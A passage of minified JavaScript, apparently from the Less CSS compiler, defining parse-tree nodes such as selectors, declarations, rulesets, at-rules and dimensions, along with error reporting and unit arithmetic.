t&&(this.value=e.visit(t))},y.prototype.eval=function(e){return new y(this.combinator,this.value.eval?this.value.eval(e):this.value,this.isVariable,this.getIndex(),this.fileInfo(),this.visibilityInfo())},y.prototype.clone=function(){return new y(this.combinator,this.value,this.isVariable,this.getIndex(),this.fileInfo(),this.visibilityInfo())},y.prototype.genCSS=function(e,t){t.add(this.toCSS(e),this.fileInfo(),this.getIndex())},y.prototype.toCSS=function(e){void 0===e&&(e={});var t=this.value,i=e.firstSelector;return t instanceof v&&(e.firstSelector=!0),t=t.toCSS?t.toCSS(e):t,e.firstSelector=i,""===t&&"&"===this.combinator.value.charAt(0)?"":this.combinator.toCSS(e)+t},y.prototype.type="Element";var b={ALWAYS:0,PARENS_DIVISION:1,PARENS:2,STRICT_LEGACY:3},w=0,x=1,S=2;function I(e,t){for(var i=e+1,n=null,r=-1;--i>=0&&"\n"!==t.charAt(i);)r++;return"number"==typeof e&&(n=(t.slice(0,e).match(/\n/g)||"").length),{line:n,column:r}}function C(e){var t,i=e.length,n=new Array(i);for(t=0;t<i;t++)n[t]=e[t];return n}function k(e){var t={};for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i]);return t}function _(e,t){var i=t||{};if(!t._defaults){i={};var n=o({},e);i._defaults=n;var r=t?o({},t):{};Object.assign(i,n,r)}return i}function A(e,t){if(t&&t._defaults)return t;var i=_(e,t);if(i.strictMath&&(i.math=b.STRICT_LEGACY),i.relativeUrls&&(i.rewriteUrls=S),"string"==typeof i.math)switch(i.math.toLowerCase()){case"always":i.math=b.ALWAYS;break;case"parens-division":i.math=b.PARENS_DIVISION;break;case"strict":case"parens":i.math=b.PARENS;break;case"strict-legacy":i.math=b.STRICT_LEGACY}if("string"==typeof i.rewriteUrls)switch(i.rewriteUrls.toLowerCase()){case"off":i.rewriteUrls=w;break;case"local":i.rewriteUrls=x;break;case"all":i.rewriteUrls=S}return i}function M(e,t){void 0===t&&(t=[]);for(var i=0,n=e.length;i<n;i++){var r=e[i];Array.isArray(r)?M(r,t):void 0!==r&&t.push(r)}return t}var P=Object.freeze({__proto__:null,getLocation:I,copyArray:C,clone:k,defaults:_,copyOptions:A,merge:function(e,t){for(var i in t)t.hasOwnProperty(i)&&(e[i]=t[i]);return e},flattenArray:M}),E=/(<anonymous>|Function):(\d+):(\d+)/,R=function(e,t,i){Error.call(this);var n=e.filename||i;if(this.message=e.message,this.stack=e.stack,t&&n){var r=t.contents[n],s=I(e.index,r),o=s.line,a=s.column,l=e.call&&I(e.call,r).line,u=r?r.split("\n"):"";if(this.type=e.type||"Syntax",this.filename=n,this.index=e.index,this.line="number"==typeof o?o+1:null,this.column=a,!this.line&&this.stack){var h=this.stack.match(E),c=new Function("a","throw new Error()"),f=0;try{c()}catch(e){var p=e.stack.match(E);f=1-parseInt(p[2])}h&&(h[2]&&(this.line=parseInt(h[2])+f),h[3]&&(this.column=parseInt(h[3])))}this.callLine=l+1,this.callExtract=u[l],this.extract=[u[this.line-2],u[this.line-1],u[this.line]]}};if(void 0===Object.create){var V=function(){};V.prototype=Error.prototype,R.prototype=new V}else R.prototype=Object.create(Error.prototype);R.prototype.constructor=R,R.prototype.toString=function(e){void 0===e&&(e={});var t="",i=this.extract||[],n=[],r=function(e){return e};if(e.stylize){var s=typeof e.stylize;if("function"!==s)throw Error("options.stylize should be a function, got a "+s+"!");r=e.stylize}if(null!==this.line){if("string"==typeof i[0]&&n.push(r(this.line-1+" "+i[0],"grey")),"string"==typeof i[1]){var o=this.line+" ";i[1]&&(o+=i[1].slice(0,this.column)+r(r(r(i[1].substr(this.column,1),"bold")+i[1].slice(this.column+1),"red"),"inverse")),n.push(o)}"string"==typeof i[2]&&n.push(r(this.line+1+" "+i[2],"grey")),n=n.join("\n")+r("","reset")+"\n"}return t+=r(this.type+"Error: "+this.message,"red"),this.filename&&(t+=r(" in ","red")+this.filename),this.line&&(t+=r(" on line "+this.line+", column "+(this.column+1)+":","grey")),t+="\n"+n,this.callLine&&(t+=r("from ","red")+(this.filename||"")+"/n",t+=r(this.callLine,"grey")+" "+this.callExtract+"/n"),t};var F=function(e,t,i,n,r,s){this.extendList=t,this.condition=i,this.evaldCondition=!i,this._index=n,this._fileInfo=r,this.elements=this.getElements(e),this.mixinElements_=void 0,this.copyVisibilityInfo(s),this.setParent(this.elements,this)};(F.prototype=new c).accept=function(e){this.elements&&(this.elements=e.visitArray(this.elements)),this.extendList&&(this.extendList=e.visitArray(this.extendList)),this.condition&&(this.condition=e.visit(this.condition))},F.prototype.createDerived=function(e,t,i){e=this.getElements(e);var n=new F(e,t||this.extendList,null,this.getIndex(),this.fileInfo(),this.visibilityInfo());return n.evaldCondition=null!=i?i:this.evaldCondition,n.mediaEmpty=this.mediaEmpty,n},F.prototype.getElements=function(e){return e?("string"==typeof e&&this.parse.parseNode(e,["selector"],this._index,this._fileInfo,(function(t,i){if(t)throw new R({index:t.index,message:t.message},this.parse.imports,this._fileInfo.filename);e=i[0].elements})),e):[new y("","&",!1,this._index,this._fileInfo)]},F.prototype.createEmptySelectors=function(){var e=new y("","&",!1,this._index,this._fileInfo),t=[new F([e],null,null,this._index,this._fileInfo)];return t[0].mediaEmpty=!0,t},F.prototype.match=function(e){var t,i,n=this.elements,r=n.length;if(0===(t=(e=e.mixinElements()).length)||r<t)return 0;for(i=0;i<t;i++)if(n[i].value!==e[i])return 0;return t},F.prototype.mixinElements=function(){if(this.mixinElements_)return this.mixinElements_;var e=this.elements.map((function(e){return e.combinator.value+(e.value.value||e.value)})).join("").match(/[,&#\*\.\w-]([\w-]|(\\.))*/g);return e?"&"===e[0]&&e.shift():e=[],this.mixinElements_=e},F.prototype.isJustParentSelector=function(){return!this.mediaEmpty&&1===this.elements.length&&"&"===this.elements[0].value&&(" "===this.elements[0].combinator.value||""===this.elements[0].combinator.value)},F.prototype.eval=function(e){var t=this.condition&&this.condition.eval(e),i=this.elements,n=this.extendList;return i=i&&i.map((function(t){return t.eval(e)})),n=n&&n.map((function(t){return t.eval(e)})),this.createDerived(i,n,t)},F.prototype.genCSS=function(e,t){var i;for(e&&e.firstSelector||""!==this.elements[0].combinator.value||t.add(" ",this.fileInfo(),this.getIndex()),i=0;i<this.elements.length;i++)this.elements[i].genCSS(e,t)},F.prototype.getIsOutput=function(){return this.evaldCondition},F.prototype.type="Selector";var $=function(e){if(!e)throw new Error("Value requires an array argument");Array.isArray(e)?this.value=e:this.value=[e]};($.prototype=new c).accept=function(e){this.value&&(this.value=e.visitArray(this.value))},$.prototype.eval=function(e){return 1===this.value.length?this.value[0].eval(e):new $(this.value.map((function(t){return t.eval(e)})))},$.prototype.genCSS=function(e,t){var i;for(i=0;i<this.value.length;i++)this.value[i].genCSS(e,t),i+1<this.value.length&&t.add(e&&e.compress?",":", ")},$.prototype.type="Value";var O=function(e){this.value=e};(O.prototype=new c).genCSS=function(e,t){if("%"===this.value)throw{type:"Syntax",message:"Invalid % without number"};t.add(this.value)},O.prototype.type="Keyword",O.True=new O("true"),O.False=new O("false");var L=function(e,t,i,n,r,s){this.value=e,this._index=t,this._fileInfo=i,this.mapLines=n,this.rulesetLike=void 0!==r&&r,this.allowRoot=!0,this.copyVisibilityInfo(s)};(L.prototype=new c).eval=function(){return new L(this.value,this._index,this._fileInfo,this.mapLines,this.rulesetLike,this.visibilityInfo())},L.prototype.compare=function(e){return e.toCSS&&this.toCSS()===e.toCSS()?0:void 0},L.prototype.isRulesetLike=function(){return this.rulesetLike},L.prototype.genCSS=function(e,t){this.nodeVisible=Boolean(this.value),this.nodeVisible&&t.add(this.value,this._fileInfo,this._index,this.mapLines)},L.prototype.type="Anonymous";var D=b,N=function(e,t,i,n,r,s,o,a){this.name=e,this.value=t instanceof c?t:new $([t?new L(t):null]),this.important=i?" "+i.trim():"",this.merge=n,this._index=r,this._fileInfo=s,this.inline=o||!1,this.variable=void 0!==a?a:e.charAt&&"@"===e.charAt(0),this.allowRoot=!0,this.setParent(this.value,this)};(N.prototype=new c).genCSS=function(e,t){t.add(this.name+(e.compress?":":": "),this.fileInfo(),this.getIndex());try{this.value.genCSS(e,t)}catch(e){throw e.index=this._index,e.filename=this._fileInfo.filename,e}t.add(this.important+(this.inline||e.lastRule&&e.compress?"":";"),this._fileInfo,this._index)},N.prototype.eval=function(e){var t,i,n=!1,r=this.name,s=this.variable;"string"!=typeof r&&(r=1===r.length&&r[0]instanceof O?r[0].value:function(e,t){var i,n="",r=t.length,s={add:function(e){n+=e}};for(i=0;i<r;i++)t[i].eval(e).genCSS(e,s);return n}(e,r),s=!1),"font"===r&&e.math===D.ALWAYS&&(n=!0,t=e.math,e.math=D.PARENS_DIVISION);try{if(e.importantScope.push({}),i=this.value.eval(e),!this.variable&&"DetachedRuleset"===i.type)throw{message:"Rulesets cannot be evaluated on a property.",index:this.getIndex(),filename:this.fileInfo().filename};var o=this.important,a=e.importantScope.pop();return!o&&a.important&&(o=a.important),new N(r,i,o,this.merge,this.getIndex(),this.fileInfo(),this.inline,s)}catch(e){throw"number"!=typeof e.index&&(e.index=this.getIndex(),e.filename=this.fileInfo().filename),e}finally{n&&(e.math=t)}},N.prototype.makeImportant=function(){return new N(this.name,this.value,"!important",this.merge,this.getIndex(),this.fileInfo(),this.inline)},N.prototype.type="Declaration";var B=function(e,t,i){var n="";if(e.dumpLineNumbers&&!e.compress)switch(e.dumpLineNumbers){case"comments":n=B.asComment(t);break;case"mediaquery":n=B.asMediaQuery(t);break;case"all":n=B.asComment(t)+(i||"")+B.asMediaQuery(t)}return n};B.asComment=function(e){return e.debugInfo?"/* line "+e.debugInfo.lineNumber+", "+e.debugInfo.fileName+" */\n":""},B.asMediaQuery=function(e){if(!e.debugInfo)return"";var t=e.debugInfo.fileName;return/^[a-z]+:\/\//i.test(t)||(t="file://"+t),"@media -sass-debug-info{filename{font-family:"+t.replace(/([.:\/\\])/g,(function(e){return"\\"==e&&(e="/"),"\\"+e}))+"}line{font-family:\\00003"+e.debugInfo.lineNumber+"}}\n"};var U=function(e,t,i,n){this.value=e,this.isLineComment=t,this._index=i,this._fileInfo=n,this.allowRoot=!0};(U.prototype=new c).genCSS=function(e,t){this.debugInfo&&t.add(B(e,this),this.fileInfo(),this.getIndex()),t.add(this.value)},U.prototype.isSilent=function(e){var t=e.compress&&"!"!==this.value[2];return this.isLineComment||t},U.prototype.type="Comment";var q={},j=function(e,t,i){if(e)for(var n=0;n<i.length;n++)e.hasOwnProperty(i[n])&&(t[i[n]]=e[i[n]])},T=["paths","rewriteUrls","rootpath","strictImports","insecure","dumpLineNumbers","compress","syncImport","chunkInput","mime","useFileCache","processImports","pluginManager"];q.Parse=function(e){j(e,this,T),"string"==typeof this.paths&&(this.paths=[this.paths])};var z=["paths","compress","math","strictUnits","sourceMap","importMultiple","urlArgs","javascriptEnabled","pluginManager","importantScope","rewriteUrls"];function G(e){return!/^(?:[a-z-]+:|\/|#)/i.test(e)}function W(e){return"."===e.charAt(0)}q.Eval=function(){function e(e,t){j(e,this,z),"string"==typeof this.paths&&(this.paths=[this.paths]),this.frames=t||[],this.importantScope=this.importantScope||[],this.inCalc=!1,this.mathOn=!0}return e.prototype.enterCalc=function(){this.calcStack||(this.calcStack=[]),this.calcStack.push(!0),this.inCalc=!0},e.prototype.exitCalc=function(){this.calcStack.pop(),this.calcStack.length||(this.inCalc=!1)},e.prototype.inParenthesis=function(){this.parensStack||(this.parensStack=[]),this.parensStack.push(!0)},e.prototype.outOfParenthesis=function(){this.parensStack.pop()},e.prototype.isMathOn=function(e){return!!this.mathOn&&(!!("/"!==e||this.math===b.ALWAYS||this.parensStack&&this.parensStack.length)&&(!(this.math>b.PARENS_DIVISION)||this.parensStack&&this.parensStack.length))},e.prototype.pathRequiresRewrite=function(e){return(this.rewriteUrls===x?W:G)(e)},e.prototype.rewritePath=function(e,t){var i;return t=t||"",i=this.normalizePath(t+e),W(e)&&G(t)&&!1===W(i)&&(i="./"+i),i},e.prototype.normalizePath=function(e){var t,i=e.split("/").reverse();for(e=[];0!==i.length;)switch(t=i.pop()){case".":break;case"..":0===e.length||".."===e[e.length-1]?e.push(t):e.pop();break;default:e.push(t)}return e.join("/")},e}();var J=function e(t){return{_data:{},add:function(e,t){e=e.toLowerCase(),this._data.hasOwnProperty(e),this._data[e]=t},addMultiple:function(e){var t=this;Object.keys(e).forEach((function(i){t.add(i,e[i])}))},get:function(e){return this._data[e]||t&&t.get(e)},getLocalFunctions:function(){return this._data},inherit:function(){return e(this)},create:function(t){return e(t)}}}(null),H={eval:function(){var e=this.value_,t=this.error_;if(t)throw t;if(null!=e)return e?O.True:O.False},value:function(e){this.value_=e},error:function(e){this.error_=e},reset:function(){this.value_=this.error_=null}},Q=function(e,t,i,n){this.selectors=e,this.rules=t,this._lookups={},this._variables=null,this._properties=null,this.strictImports=i,this.copyVisibilityInfo(n),this.allowRoot=!0,this.setParent(this.selectors,this),this.setParent(this.rules,this)};(Q.prototype=new c).isRulesetLike=function(){return!0},Q.prototype.accept=function(e){this.paths?this.paths=e.visitArray(this.paths,!0):this.selectors&&(this.selectors=e.visitArray(this.selectors)),this.rules&&this.rules.length&&(this.rules=e.visitArray(this.rules))},Q.prototype.eval=function(e){var t,i,n,r,s,o=!1;if(this.selectors&&(i=this.selectors.length)){for(t=new Array(i),H.error({type:"Syntax",message:"it is currently only allowed in parametric mixin guards,"}),r=0;r<i;r++){n=this.selectors[r].eval(e);for(var a=0;a<n.elements.length;a++)if(n.elements[a].isVariable){s=!0;break}t[r]=n,n.evaldCondition&&(o=!0)}if(s){var l=new Array(i);for(r=0;r<i;r++)n=t[r],l[r]=n.toCSS(e);this.parse.parseNode(l.join(","),["selectors"],t[0].getIndex(),t[0].fileInfo(),(function(e,i){i&&(t=M(i))}))}H.reset()}else o=!0;var u,h,f=this.rules?C(this.rules):null,p=new Q(t,f,this.strictImports,this.visibilityInfo());p.originalRuleset=this,p.root=this.root,p.firstRoot=this.firstRoot,p.allowImports=this.allowImports,this.debugInfo&&(p.debugInfo=this.debugInfo),o||(f.length=0),p.functionRegistry=function(e){for(var t,i=0,n=e.length;i!==n;++i)if(t=e[i].functionRegistry)return t;return J}(e.frames).inherit();var d=e.frames;d.unshift(p);var v=e.selectors;v||(e.selectors=v=[]),v.unshift(this.selectors),(p.root||p.allowImports||!p.strictImports)&&p.evalImports(e);var m=p.rules;for(r=0;u=m[r];r++)u.evalFirst&&(m[r]=u.eval(e));var g=e.mediaBlocks&&e.mediaBlocks.length||0;for(r=0;u=m[r];r++)"MixinCall"===u.type?(f=u.eval(e).filter((function(e){return!(e instanceof N&&e.variable)||!p.variable(e.name)})),m.splice.apply(m,[r,1].concat(f)),r+=f.length-1,p.resetCache()):"VariableCall"===u.type&&(f=u.eval(e).rules.filter((function(e){return!(e instanceof N&&e.variable)})),m.splice.apply(m,[r,1].concat(f)),r+=f.length-1,p.resetCache());for(r=0;u=m[r];r++)u.evalFirst||(m[r]=u=u.eval?u.eval(e):u);for(r=0;u=m[r];r++)if(u instanceof Q&&u.selectors&&1===u.selectors.length&&u.selectors[0]&&u.selectors[0].isJustParentSelector()){m.splice(r--,1);for(a=0;h=u.rules[a];a++)h instanceof c&&(h.copyVisibilityInfo(u.visibilityInfo()),h instanceof N&&h.variable||m.splice(++r,0,h))}if(d.shift(),v.shift(),e.mediaBlocks)for(r=g;r<e.mediaBlocks.length;r++)e.mediaBlocks[r].bubbleSelectors(t);return p},Q.prototype.evalImports=function(e){var t,i,n=this.rules;if(n)for(t=0;t<n.length;t++)"Import"===n[t].type&&((i=n[t].eval(e))&&(i.length||0===i.length)?(n.splice.apply(n,[t,1].concat(i)),t+=i.length-1):n.splice(t,1,i),this.resetCache())},Q.prototype.makeImportant=function(){return new Q(this.selectors,this.rules.map((function(e){return e.makeImportant?e.makeImportant():e})),this.strictImports,this.visibilityInfo())},Q.prototype.matchArgs=function(e){return!e||0===e.length},Q.prototype.matchCondition=function(e,t){var i=this.selectors[this.selectors.length-1];return!!i.evaldCondition&&!(i.condition&&!i.condition.eval(new q.Eval(t,t.frames)))},Q.prototype.resetCache=function(){this._rulesets=null,this._variables=null,this._properties=null,this._lookups={}},Q.prototype.variables=function(){return this._variables||(this._variables=this.rules?this.rules.reduce((function(e,t){if(t instanceof N&&!0===t.variable&&(e[t.name]=t),"Import"===t.type&&t.root&&t.root.variables){var i=t.root.variables();for(var n in i)i.hasOwnProperty(n)&&(e[n]=t.root.variable(n))}return e}),{}):{}),this._variables},Q.prototype.properties=function(){return this._properties||(this._properties=this.rules?this.rules.reduce((function(e,t){if(t instanceof N&&!0!==t.variable){var i=1===t.name.length&&t.name[0]instanceof O?t.name[0].value:t.name;e["$"+i]?e["$"+i].push(t):e["$"+i]=[t]}return e}),{}):{}),this._properties},Q.prototype.variable=function(e){var t=this.variables()[e];if(t)return this.parseValue(t)},Q.prototype.property=function(e){var t=this.properties()[e];if(t)return this.parseValue(t)},Q.prototype.lastDeclaration=function(){for(var e=this.rules.length;e>0;e--){var t=this.rules[e-1];if(t instanceof N)return this.parseValue(t)}},Q.prototype.parseValue=function(e){var t=this;function i(e){return e.value instanceof L&&!e.parsed?("string"==typeof e.value.value?this.parse.parseNode(e.value.value,["value","important"],e.value.getIndex(),e.fileInfo(),(function(t,i){t&&(e.parsed=!0),i&&(e.value=i[0],e.important=i[1]||"",e.parsed=!0)})):e.parsed=!0,e):e}if(Array.isArray(e)){var n=[];return e.forEach((function(e){n.push(i.call(t,e))})),n}return i.call(t,e)},Q.prototype.rulesets=function(){if(!this.rules)return[];var e,t,i=[],n=this.rules;for(e=0;t=n[e];e++)t.isRuleset&&i.push(t);return i},Q.prototype.prependRule=function(e){var t=this.rules;t?t.unshift(e):this.rules=[e],this.setParent(e,this)},Q.prototype.find=function(e,t,i){void 0===t&&(t=this);var n,r,s=[],o=e.toCSS();return o in this._lookups?this._lookups[o]:(this.rulesets().forEach((function(o){if(o!==t)for(var a=0;a<o.selectors.length;a++)if(n=e.match(o.selectors[a])){if(e.elements.length>n){if(!i||i(o)){r=o.find(new F(e.elements.slice(n)),t,i);for(var l=0;l<r.length;++l)r[l].path.push(o);Array.prototype.push.apply(s,r)}}else s.push({rule:o,path:[]});break}})),this._lookups[o]=s,s)},Q.prototype.genCSS=function(e,t){var i,n,r,s,o,a=[];e.tabLevel=e.tabLevel||0,this.root||e.tabLevel++;var l,u=e.compress?"":Array(e.tabLevel+1).join("  "),h=e.compress?"":Array(e.tabLevel).join("  "),c=0,f=0;for(i=0;s=this.rules[i];i++)s instanceof U?(f===i&&f++,a.push(s)):s.isCharset&&s.isCharset()?(a.splice(c,0,s),c++,f++):"Import"===s.type?(a.splice(f,0,s),f++):a.push(s);if(a=[].concat(a),!this.root){(r=B(e,this,h))&&(t.add(r),t.add(h));var p=this.paths,d=p.length,v=void 0;for(l=e.compress?",":",\n"+h,i=0;i<d;i++)if(v=(o=p[i]).length)for(i>0&&t.add(l),e.firstSelector=!0,o[0].genCSS(e,t),e.firstSelector=!1,n=1;n<v;n++)o[n].genCSS(e,t);t.add((e.compress?"{":" {\n")+u)}for(i=0;s=a[i];i++){i+1===a.length&&(e.lastRule=!0);var m=e.lastRule;s.isRulesetLike(s)&&(e.lastRule=!1),s.genCSS?s.genCSS(e,t):s.value&&t.add(s.value.toString()),e.lastRule=m,!e.lastRule&&s.isVisible()?t.add(e.compress?"":"\n"+u):e.lastRule=!1}this.root||(t.add(e.compress?"}":"\n"+h+"}"),e.tabLevel--),t.isEmpty()||e.compress||!this.firstRoot||t.add("\n")},Q.prototype.joinSelectors=function(e,t,i){for(var n=0;n<i.length;n++)this.joinSelector(e,t,i[n])},Q.prototype.joinSelector=function(e,t,i){function n(e,t){var i,n;if(0===e.length)i=new v(e[0]);else{var r=new Array(e.length);for(n=0;n<e.length;n++)r[n]=new y(null,e[n],t.isVariable,t._index,t._fileInfo);i=new v(new F(r))}return i}function r(e,t){var i;return i=new y(null,e,t.isVariable,t._index,t._fileInfo),new F([i])}function s(e,t,i,n){var r,s,o;if(r=[],e.length>0?(s=(r=C(e)).pop(),o=n.createDerived(C(s.elements))):o=n.createDerived([]),t.length>0){var a=i.combinator,l=t[0].elements[0];a.emptyOrWhitespace&&!l.combinator.emptyOrWhitespace&&(a=l.combinator),o.elements.push(new y(a,l.value,i.isVariable,i._index,i._fileInfo)),o.elements=o.elements.concat(t[0].elements.slice(1))}if(0!==o.elements.length&&r.push(o),t.length>1){var u=t.slice(1);u=u.map((function(e){return e.createDerived(e.elements,[])})),r=r.concat(u)}return r}function o(e,t,i,n,r){var o;for(o=0;o<e.length;o++){var a=s(e[o],t,i,n);r.push(a)}return r}function a(e,t){var i,n;if(0!==e.length)if(0!==t.length)for(i=0;n=t[i];i++)n.length>0?n[n.length-1]=n[n.length-1].createDerived(n[n.length-1].elements.concat(e)):n.push(new F(e));else t.push([new F(e)])}function l(e,t){var i=t.createDerived(t.elements,t.extendList,t.evaldCondition);return i.copyVisibilityInfo(e),i}var u,h;if(!function e(t,i,l){var u,h,c,f,p,d,m,g,b,w,x,S,I=!1;for(f=[],p=[[]],u=0;g=l.elements[u];u++)if("&"!==g.value){var C=(S=void 0,(x=g).value instanceof v&&(S=x.value.value)instanceof F?S:null);if(null!=C){a(f,p);var k,_=[],A=[];for(k=e(_,i,C),I=I||k,c=0;c<_.length;c++){o(p,[r(n(_[c],g),g)],g,l,A)}p=A,f=[]}else f.push(g)}else{for(I=!0,d=[],a(f,p),h=0;h<p.length;h++)if(m=p[h],0===i.length)m.length>0&&m[0].elements.push(new y(g.combinator,"",g.isVariable,g._index,g._fileInfo)),d.push(m);else for(c=0;c<i.length;c++){var M=s(m,i[c],g,l);d.push(M)}p=d,f=[]}for(a(f,p),u=0;u<p.length;u++)(b=p[u].length)>0&&(t.push(p[u]),w=p[u][b-1],p[u][b-1]=w.createDerived(w.elements,l.extendList));return I}(h=[],t,i))if(t.length>0)for(h=[],u=0;u<t.length;u++){var c=t[u].map(l.bind(this,i.visibilityInfo()));c.push(i),h.push(c)}else h=[[i]];for(u=0;u<h.length;u++)e.push(h[u])},Q.prototype.type="Ruleset",Q.prototype.isRuleset=!0;var K=function(e,t,i,n,r,s,o,a){var l;if(this.name=e,this.value=t instanceof c?t:t?new L(t):t,i){for(Array.isArray(i)?this.rules=i:(this.rules=[i],this.rules[0].selectors=new F([],null,null,n,r).createEmptySelectors()),l=0;l<this.rules.length;l++)this.rules[l].allowImports=!0;this.setParent(this.rules,this)}this._index=n,this._fileInfo=r,this.debugInfo=s,this.isRooted=o||!1,this.copyVisibilityInfo(a),this.allowRoot=!0};(K.prototype=new c).accept=function(e){var t=this.value,i=this.rules;i&&(this.rules=e.visitArray(i)),t&&(this.value=e.visit(t))},K.prototype.isRulesetLike=function(){return this.rules||!this.isCharset()},K.prototype.isCharset=function(){return"@charset"===this.name},K.prototype.genCSS=function(e,t){var i=this.value,n=this.rules;t.add(this.name,this.fileInfo(),this.getIndex()),i&&(t.add(" "),i.genCSS(e,t)),n?this.outputRuleset(e,t,n):t.add(";")},K.prototype.eval=function(e){var t,i,n=this.value,r=this.rules;return t=e.mediaPath,i=e.mediaBlocks,e.mediaPath=[],e.mediaBlocks=[],n&&(n=n.eval(e)),r&&((r=[r[0].eval(e)])[0].root=!0),e.mediaPath=t,e.mediaBlocks=i,new K(this.name,n,r,this.getIndex(),this.fileInfo(),this.debugInfo,this.isRooted,this.visibilityInfo())},K.prototype.variable=function(e){if(this.rules)return Q.prototype.variable.call(this.rules[0],e)},K.prototype.find=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];if(this.rules)return Q.prototype.find.apply(this.rules[0],e)},K.prototype.rulesets=function(){if(this.rules)return Q.prototype.rulesets.apply(this.rules[0])},K.prototype.outputRuleset=function(e,t,i){var n,r=i.length;if(e.tabLevel=1+(0|e.tabLevel),e.compress){for(t.add("{"),n=0;n<r;n++)i[n].genCSS(e,t);return t.add("}"),void e.tabLevel--}var s="\n"+Array(e.tabLevel).join("  "),o=s+"  ";if(r){for(t.add(" {"+o),i[0].genCSS(e,t),n=1;n<r;n++)t.add(o),i[n].genCSS(e,t);t.add(s+"}")}else t.add(" {"+s+"}");e.tabLevel--},K.prototype.type="AtRule";var Z=function(e,t){this.ruleset=e,this.frames=t,this.setParent(this.ruleset,this)};(Z.prototype=new c).accept=function(e){this.ruleset=e.visit(this.ruleset)},Z.prototype.eval=function(e){var t=this.frames||C(e.frames);return new Z(this.ruleset,t)},Z.prototype.callEval=function(e){return this.ruleset.eval(this.frames?new q.Eval(e,this.frames.concat(e.frames)):e)},Z.prototype.type="DetachedRuleset",Z.prototype.evalFirst=!0;var Y=function(e,t,i){this.numerator=e?C(e).sort():[],this.denominator=t?C(t).sort():[],i?this.backupUnit=i:e&&e.length&&(this.backupUnit=e[0])};(Y.prototype=new c).clone=function(){return new Y(C(this.numerator),C(this.denominator),this.backupUnit)},Y.prototype.genCSS=function(e,t){var i=e&&e.strictUnits;1===this.numerator.length?t.add(this.numerator[0]):!i&&this.backupUnit?t.add(this.backupUnit):!i&&this.denominator.length&&t.add(this.denominator[0])},Y.prototype.toString=function(){var e,t=this.numerator.join("*");for(e=0;e<this.denominator.length;e++)t+="/"+this.denominator[e];return t},Y.prototype.compare=function(e){return this.is(e.toString())?0:void 0},Y.prototype.is=function(e){return this.toString().toUpperCase()===e.toUpperCase()},Y.prototype.isLength=function(){return RegExp("^(px|em|ex|ch|rem|in|cm|mm|pc|pt|ex|vw|vh|vmin|vmax)$","gi").test(this.toCSS())},Y.prototype.isEmpty=function(){return 0===this.numerator.length&&0===this.denominator.length},Y.prototype.isSingular=function(){return this.numerator.length<=1&&0===this.denominator.length},Y.prototype.map=function(e){var t;for(t=0;t<this.numerator.length;t++)this.numerator[t]=e(this.numerator[t],!1);for(t=0;t<this.denominator.length;t++)this.denominator[t]=e(this.denominator[t],!0)},Y.prototype.usedUnits=function(){var e,t,i,n={};for(i in t=function(t){return e.hasOwnProperty(t)&&!n[i]&&(n[i]=t),t},u)u.hasOwnProperty(i)&&(e=u[i],this.map(t));return n},Y.prototype.cancel=function(){var e,t,i={};for(t=0;t<this.numerator.length;t++)i[e=this.numerator[t]]=(i[e]||0)+1;for(t=0;t<this.denominator.length;t++)i[e=this.denominator[t]]=(i[e]||0)-1;for(e in this.numerator=[],this.denominator=[],i)if(i.hasOwnProperty(e)){var n=i[e];if(n>0)for(t=0;t<n;t++)this.numerator.push(e);else if(n<0)for(t=0;t<-n;t++)this.denominator.push(e)}this.numerator.sort(),this.denominator.sort()},Y.prototype.type="Unit";var X=function(e,t){if(this.value=parseFloat(e),isNaN(this.value))throw new Error("Dimension is not a number.");this.unit=t&&t instanceof Y?t:new Y(t?[t]:void 0),this.setParent(this.unit,this)};(X.prototype=new c).accept=function(e){this.unit=e.visit(this.unit)},X.prototype.eval=function(e){return this},X.prototype.toColor=function(){return new f([this.value,this.value,this.value])},X.prototype.genCSS=function(e,t){if(e&&e.strictUnits&&!this.unit.isSingular())throw new Error("Multiple units in dimension. Correct the units or use the unit function. Bad unit: "+this.unit.toString());var i=this.fround(e,this.value),n=String(i);if(0!==i&&i<1e-6&&i>-1e-6&&(n=i.toFixed(20).replace(/0+$/,"")),e&&e.compress){if(0===i&&this.unit.isLength())return void t.add(n);i>0&&i<1&&(n=n.substr(1))}t.add(n),this.unit.genCSS(e,t)},X.prototype.operate=function(e,t,i){var n=this._operate(e,t,this.value,i.value),r=this.unit.clone();if("+"===t||"-"===t)if(0===r.numerator.length&&0===r.denominator.length)r=i.unit.clone(),this.unit.backupUnit&&(r.backupUnit=this.unit.backupUnit);else if(0===i.unit.numerator.length&&0===r.denominator.length);else{if(i=i.convertTo(this.unit.usedUnits()),e.strictUnits&&i.unit.toString()!==r.toString())throw new Error("Incompatible units. Change the units or use the unit function. Bad units: '"+r.toString()+"' and '"+i.unit.toString()+"'.");n=this._operate(e,t,this.value,i.value)}else"*"===t?(r.numerator=r.numerator.concat(i.unit.numerator).sort(),r.denominator=r.denominator.concat(i.unit.denominator).sort(),r.cancel()):"/"===t&&(r.numerator=r.numerator.concat(i.unit.denominator).sort(),r.denominator=r.denominator.concat(i.unit.numerator).sort(),r.cancel());return new X(n,r)},X.prototype.compare=function(e){var t,i;if(e instanceof X){if(this.unit.isEmpty()||e.unit.isEmpty())t=this,i=e;else if(t=this.unify(),i=e.unify(),0!==t.unit.compare(i.unit))return;return c.numericCompare(t.value,i.value)}},X.prototype.unify=function(){return this.convertTo({length:"px",duration:"s",angle:"rad"})},X.prototype.convertTo=function(e){var t,i,n,r,s,o=this.value,a=this.unit.clone(),l={};if("string"==typeof e){for(t in u)u[t].hasOwnProperty(e)&&((l={})[t]=e);e=l}for(i in s=function(e,t){return n.hasOwnProperty(e)?(t?o/=n[e]/n[r]:o*=n[e]/n[r],r):e},e)e.hasOwnProperty(i)&&(r=e[i],n=u[i],a.map(s));return a.cancel(),new X(o,a)},X.prototype.type="Dimension";var ee=b,te=function(e,t,i){this.op=e.trim(),this.operands=t,this.isSpaced=i};(te.prototype=new c).accept=function(e){this.operands=e.visitArray(this.operands)},te.prototype.eval=function(e){var t,i=this.operands[0].eval(e),n=this.operands[1].eval(e);if(e.isMathOn(this.op)){if(t="./"===this.op?"/":this.op,i instanceof X&&n instanceof f&&(i=i.toColor()),n instanceof X&&i instanceof f&&(n=n.toColor()),!i.operate){if(i instanceof te&&"/"===i.op&&e.math===ee.PARENS_DIVISION)return new te(this.op,[i,n],this.isSpaced);throw{type:"Operation",message:"Operation on an invalid type"}}return i.operate(e,t,n)}return new te(this.op,[i,n],this.isSpaced)},te.prototype.genCSS=function(e,t){this.operands[0].genCSS(e,t),this.isSpaced&&t.add(" 